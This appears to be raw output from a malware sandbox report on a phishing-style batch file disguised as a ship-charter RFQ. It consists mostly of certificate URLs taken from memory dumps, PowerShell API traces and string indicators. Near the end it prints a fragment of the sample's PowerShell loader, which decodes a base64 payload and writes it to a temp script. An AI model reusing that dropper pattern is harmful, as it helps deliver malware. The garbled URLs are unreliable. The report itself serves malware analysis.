"http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris'1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lrsa1" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l(" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimsta;o/>" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01htfroson+" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002240.00000000.193762.CB700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wwashington1redmond1microsoft" - Source: "00000000-00002240.00000000.193762.CB700000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f9iqmgvw,czcthawte," - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris'1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lrsa1" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l(" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01htfroson+" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002240.00000001.193887.CB700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wwashington1redmond1microsoft" - Source: "00000000-00002240.00000001.193887.CB700000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>$vkt7" - Source: "00000000-00002240.00000001.193887.CB80C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002240.00000001.193887.CB80C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002240.00000001.193887.CB849000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ee" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lm'$1geotrust" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;6" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0z" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000000.194219.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004004.00000000.194219.246C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000000.194219.246C0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ee" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lm'$1)" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;6" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0z" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3q\" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000001.195692.241E0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000001.195692.246C0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004004.00000001.195692.246C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004004.00000001.195692.246C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000001.195692.247DC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000001.195692.247DC000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004004.00000001.195692.247DC000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00004004.00000001.195692.247DC000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00004004.00000001.195692.4B078000.00000002.mdmp")4d:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002240) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00002240) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00002240) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00002240) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00002240) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00002240) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00002240) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00002240)4e:T1944,file/memory contains long string with (Indicator: "base64"; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), file/memory contains long string with (Indicator: "FromBase64String"; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), file/memory contains long string with (Indicator: "aes"; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), file/memory contains long string with (Indicator: "rsa2"; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), file/memory contains long string with (Indicator: "base64"; File: "AMSI"), file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI"), file/memory contains long string with (Indicator: "base64"; File: "powershell.exe"), file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe"), file/memory contains long string with (Indicator: "base64"; Source: "00000000-00002240.00000000.193762.B0EA0000.00000004.mdmp 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000000.193762.B2980000.00000004.mdmp 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.B0EA0000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp 00000000-00002240.00000001.193887.B2980000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp"), file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002240.00000000.193762.B0EA0000.00000004.mdmp 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000000.193762.B2980000.00000004.mdmp 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.B0EA0000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp 00000000-00002240.00000001.193887.B2980000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp"), file/memory contains long string with (Indicator: "base64"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp"), file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp"), Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp"), Found string "HxwC8([A-Za-z0-9+/=]+)') { $PHYSICALLY = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); $PHYSICALLY | Out-File -FilePath 'C:\Users\HAPUBWS\AppData\Local\Temp\Valuable.ps1' -Encoding UTF8 } } catch {}" (Indicator: "base64"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp, 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp"), Found string "HxwC8([A-Za-z0-9+/=]+)') { $PHYSICALLY = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); $PHYSICALLY | Out-File -FilePath 'C:\Users\HAPUBWS\AppData\Local\Temp\Valuable.ps1' -Encoding UTF8 } } catch {}" (Indicator: "FromBase64String"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp"), Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp"), Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp"), Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp 00000000-00002240.00000000.193762.F8CE0000.00000004.mdmp 00000000-00002240.00000000.193762.F8D10000.00000004.mdmp 00000000-00002240.00000001.193887.F8C90000.00000004.mdmp 00000000-00002240.00000001.193887.F8CB0000.00000004.mdmp"), Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp"), Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp 00000000-00002240.00000000.193762.F8CE0000.00000004.mdmp 00000000-00002240.00000000.193762.F8D10000.00000004.mdmp 00000000-00002240.00000001.193887.F8C90000.00000004.mdmp 00000000-00002240.00000001.193887.F8CB0000.00000004.mdmp"), Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp"), Found string "base64stream" (Indicator: "base64"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp"), Found string 